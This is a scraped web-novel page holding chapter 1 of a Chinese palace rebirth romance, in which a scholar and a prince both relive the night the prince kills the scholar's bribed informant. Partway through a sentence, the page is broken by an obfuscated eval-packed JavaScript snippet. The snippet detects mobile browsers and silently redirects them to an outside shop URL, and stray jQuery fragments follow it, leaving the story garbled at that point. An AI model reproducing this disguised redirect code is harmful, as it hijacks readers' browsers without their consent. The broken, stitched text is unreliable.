默认冷灰
24号文字
方正启体

1. 重生

作者:墨西柯本书字数:K更新时间:
    宁书砚惊觉自己重生了。


    重生在他最刻骨铭心的那一刻。


    就算这个场景他曾经经历过一次,此刻他仍旧无法做到冷静面对。


    前一刻还在和他畅聊的人,此刻却被人割了脖子。


    因为动手之人太过用力,竟然将脖颈割开了一个巨大的豁口。只留下一半连接着身体,脑袋歪歪斜斜地挂在身体上。


    此人身体仍旧是坐姿,身体前倾靠着面前的桌沿,保持着生前的姿势。


    歪歪挂着的脑袋,眼睛还仿佛在看着宁书砚。


    嘴角的笑意还没有完全收起。


    让画面显得更加诡谲。


    他的鲜血喷溅而出,桌面上精致的菜肴上,皆被淋了大片的鲜血。


    就连宁书砚的脸颊和身体,都被喷溅了大量的血液。


    此刻宁书砚的身体僵直。


    因为太过惊恐,而显得目光有些呆滞。


    他甚至能够感受到血液的温度,以及血液在脸颊流淌时滑动的轨迹。


    刺目的红,刺激着他的瞳孔。


    让他险些忘记了眨眼。


    他失去光亮的瞳孔微微上移,看向将人砍成这样的罪魁祸首,未来的摄政王——宋云迟。


    宋云迟仍旧手持长剑,微微扬起下巴,垂眸睨着他。


    那眼神……简直恨不得生吞了他。


    宋家人从开国皇帝起,都是人高马大的体型。


    毕竟开国皇帝是一位靠着多年征战,抢夺来天下的枭雄。


    宋云迟的母妃算得上是美艳的宠妃,他也继承了端宁妃与先帝的诸多优点。


    宋云迟身材高大,宽肩窄腰,眉骨锋利,眸如远山,黛色中还有着林海蔼蔼,眼尾微垂,看什么都带着些许厌弃感。


    被那双藏霜的眸子扫过,只觉得冷寂森然。


    他的头发整理得松散,只戴了一个发冠束住了头顶的发丝,更多的发丝披散着。


    仔细看,会发现他的发尾有着不甚明显的波浪,更多的发丝,藏进了披风的毛领里。


    他总是穿着一身暗紫色长袍,衣袍上用金丝绣着图腾花纹。


    这种紫色,是寻常人不敢触碰的颜色,也只有他敢这般招摇地穿戴。


    和宋云迟四目相对的那一刻,宁书砚下意识地瑟缩。


    是发自肺腑的惧怕。


    是前一世不敌,最终“不得好死”后的恐惧。


    前一世他自命不凡,觉得自己才华出众。


    其实也不全怪他。


    他是太子伴读,他的祖父是太子太傅,他的父亲是户部左侍郎,这种出身注定他有狂妄的资本。


    可惜……他们都没能斗过宋云迟。


    后来太子被废,被发配动乱地带去做藩王。


    他毅然决然地跟随太子前去,最终被人暗害。


    死的时候,他依稀听到有人在他身边唏嘘他的命运。


    他才二十四岁。


    思绪抽回。


    宁书砚面对眼前的场景。


    现在他和宋云迟这般对峙,也是因为……他自不量力。


    他想在宋云迟身边安排细作。


    他自以为绝对周密地暗中联系,终于通过各种手段,收买了身边这位“尸体老兄”。


    这是他们第二次见面,正在一边喝酒吃饭,一边聊着如何给宋云迟使绊子。


    宋云迟突然来了。


    宁书砚和尸体老兄还没回神,尸体老兄就成了尸体老兄。


    宋云迟进来后二话不说,将人的脖子砍成了这个模样。


    此刻正提着挂着血珠的佩剑,垂着眸子睨着他,等待他说点什么。


    叛徒宋云迟可以毫不迟疑地杀了。


    但是宁书砚还是有些身份的,不能直接杀了,这才使得他有和宋云迟有对峙的机会。


    他看着宋云迟。


    看似冷静,魂已经飞走一会儿了。


    不过上天给了他重生的机会,他也要为自己争取一线生机。


    死嘴快说啊!


    快狡辩啊!


    宁书砚终于移动了身体。


    他看着宋云迟干巴巴地笑,接着解释道:“堇王,您误会了,我不是来打扰你们的,也不是来使坏的!


    “我是想请他做引荐人,让我加入你们的!


    “我是来投靠您的啊!”


    宋云迟看着宁书砚瓷白的脸颊上被溅满鲜血,还要努力微笑,接着说出这样一句话,不由得错愕在当场。


    因为惊讶,所以显得有些沉默。


    又因为他这张脸实在是太过于有威慑力,不说话也足够让人惧怕的。


    宁书砚暗道不好。


    这个理由无法说服宋云迟。


    上辈子是怎么解决的?


    哦,想起来了。


    他这个没出息的好像当场吓晕了,醒来后人已经被带到了堇王府。


    最终他被宋云迟关押了二十三天才被放出去,这期间可谓是十分煎熬。


    好在他毫发无损地离开了。


    反正也想不到好主意了,于是他决定装晕。


    他当即眼睛一翻,很是夸张地身体后仰,准备倒在地上。


    可他倒下的轨迹出现了变化。


    有一只手扶住了他的身体,随后扶着他的身体靠在了一个人的怀里。


    ???


    什么情况?


    上辈子他晕倒后是这种待遇?


    在他还没能理解如今处境的时刻,他的身体突然被人横着抱了起来,还将温暖的披风盖在了他的身上。


    接着他被人抱出了酒楼雅间。


    他,宁书砚,也是一个堂堂七尺男儿!


    就这么被人轻而易举地抱起来了?!


    他听着周围有一声声倒吸凉气的声音。


    还有一个人不急不缓的脚步声。


    随后他被放在了马背上,抱着他的人很快翻身上马。


    此人对他照顾还算周到,刚刚坐稳,便调整了他在怀里的姿势,让他坐得更为安稳。


    随后又扯了扯披风,将他包裹得严实。


    怀抱也足够严密拥挤,做到在冬日也密不透风。


    此人这才缓缓地骑马离开。


    有多缓呢?


    大致就是再慢点,马就要停下了。


    马蹄声是“嗒——嗒——嗒——”


    散步都不如。


    都怪他上一次晕得太死,完全没经历过这些细节。


    此刻他要详细地经历一遍,还真有些慌张。


    他很想看看抱着他骑马的人是谁。


    应该不是宋云迟。


    毕竟宋云迟可不是什么好人。


    宋云迟是那种他倒在地面上,还会踩他两脚的王八蛋。


    可……还能是谁呢?


    他不敢睁眼看,毕竟宋云迟是一个很敏锐的人。


    他的手很小心……很小心地用指腹碰了碰此人衣服面料。


    不得不说,他平日里爱美的好处在此刻体现了。


    他一下子就能摸出衣服的材质不一般。


    确定抱着他的人真的是宋云迟的时候。


    他也真的很想彻底晕过去。


    不然他无法理解。


    宋云迟到底要干什么?!!


    容他聪明的小脑瓜想一想……


    哦!


    他知道了!


    宋云迟是故意的!


    宋云迟要让街上的人看到,他被宋云迟带走了,让太子和他家人立即去堇王府道歉,给一个说法!


    宋云迟啊宋云迟,你果然阴险狡诈!


    *


    宋云迟意外地发现,他重生了。


    重生在他最后悔的那一刻。


    回过神来时,他已然提着长剑,在宁书砚的面前杀死了他身边的叛徒。


    他至今记得这一日他的愤怒。


    他痛恨宁书砚一心一意只为太子,竟然将主意打到了他的身边,还想买通他身边的人害他。


    他愤怒到极致,做出来的举动也带着怨气。


    所以出手稍微狠了那么一点点。


    就那么一点点。


    他垂下眸子,看到宁书砚那双天生的笑眼被吓得双目失去了焦距。


    单薄的身体强撑着坐在椅子上,动作僵直。


    鲜血溅了宁书砚一身。


    那么爱美的一个人,怕是第一次这般狼狈。


    为什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353062|199642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么偏偏重生在这一刻?


    但凡重生在他进门前,情况也不至于这么糟糕。


    正是因为这件事,宁书砚才更加惧怕他。


    从此以后,更是对他敬而远之。


    这件事,将宁书砚推得越来越远。


    他再难靠近。


    现在该怎么办?


    他说点什么?


    在他纠结的同时,宁书砚突然抬头看向他,笑得有些勉强,说道:“堇王,您误会了,我不是来打扰你们的,也不是来使坏的!


    “我是想请他做引荐人,让我加入你们的!


    “我是来投靠您的啊!”


    一句话,让他错愕在当场。


    上一世宁书砚说过这句话吗?


    应该没有,他回想过这一日的情景千万次,根本不记得这句话。


    是因为他刚才的沉默,才给了宁书砚说话的机会吗?


    在他还没能得到答案时,宁书砚眼睛一翻,身体后仰,眼看着就要晕倒。


    他的身体比他的思维还快,立即伸手扶住了宁书砚,并让宁书砚靠进自己的怀里。


    迟疑了片刻,他还是决定将宁书砚带回王府。


    如前世一般。


    在宁书砚留在王府里的日子,他再想办法补救。


    他小心翼翼地将宁书砚抱了起来。


    前一世,在宁书砚中毒后的两年里,他曾无数次抱起过这个人,可宁书砚的身体日渐消瘦,体重轻得让人心疼。


    此刻的宁书砚还是前一世长身玉立,鲜衣怒马少年郎,体重正常得让宋云迟很是欣喜。


    他对身边的人示意,立即有人上前,将他的披风盖在了宁书砚的身上。


    随后他抱着宁书砚离开了酒楼。


    因为他突然带人闯入,不少人都战战兢兢跪在酒楼各处。


    他们出来时,有胆子大的人偷偷抬头看向他们。


    看到他抱着一个人出来的画面,忍不住倒吸凉气。


    这是……把人杀了?


    他没有心情在意这些人,径直走到自己的马前,安顿好了宁书砚后翻身跟着上马。


    上马后他小心翼翼地调整宁书砚的姿势,免得马鞍硌到宁书砚,会让宁书砚不舒服。


    宁书砚一生娇生惯养,受不得半点苦。


    他知道的。


    他甚至无法想象,宁书砚跟去封地的那一年半是如何熬过来的。


    他又帮宁书砚盖了盖披风,免得最注重颜面的宁书砚,被人看到了身体染血的模样。


    尤其是最近几日下了雪,莫要让宁书砚染了风寒。


    确定宁书砚状态尚可,他才控制着马匹的速度,缓速离开,生怕速度快了会颠簸到宁书砚。


    又起了一阵寒风。


    前几日的雪被清扫了一些,屋檐上却还有松软的雪残留。


    清风徐徐,带来了一片晶莹银雪,纷纷扬扬地落下。


    京城的街道繁闹纷杂,却因为他骑马而过瞬间安静下来。


    他垂眸,看到宁书砚被他包裹得只剩下一个发冠在外面,这才一阵安心。


    他顶着寒风以及无数人的侧目,顺利地回到了王府。


    刚刚靠近,杨长史便笑呵呵地迎了出来:“王爷,您回来了,老奴这就去给您准备好温池,伺候您沐浴更衣……”


    说着,突然发现了宋云迟怀里的人。


    “这是……”杨长史犹豫着问。


    “是宁书砚。”


    “哟,老奴这就给宁公子备好客房……”


    宋云迟打断了他的话:“准备好温池吧,他身上沾了血,得清洗一番。”


    “老奴这就安排人给宁……”


    “我给他洗,你准备就是。”


    杨长史不愧是常年跟在宋云迟身边的人,没有半分惊讶,还笑呵呵地去安排了。


    宋云迟抱着宁书砚进入王府,直奔温池屋舍而去。


    此刻在装晕的宁书砚一阵迷惑。


    他们刚刚说什么?


    他需要洗澡。


    谁给他洗?


    宋云迟?


    他不是重生了吧?


    他是做梦了吧?


    还是一个非常诡异的梦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)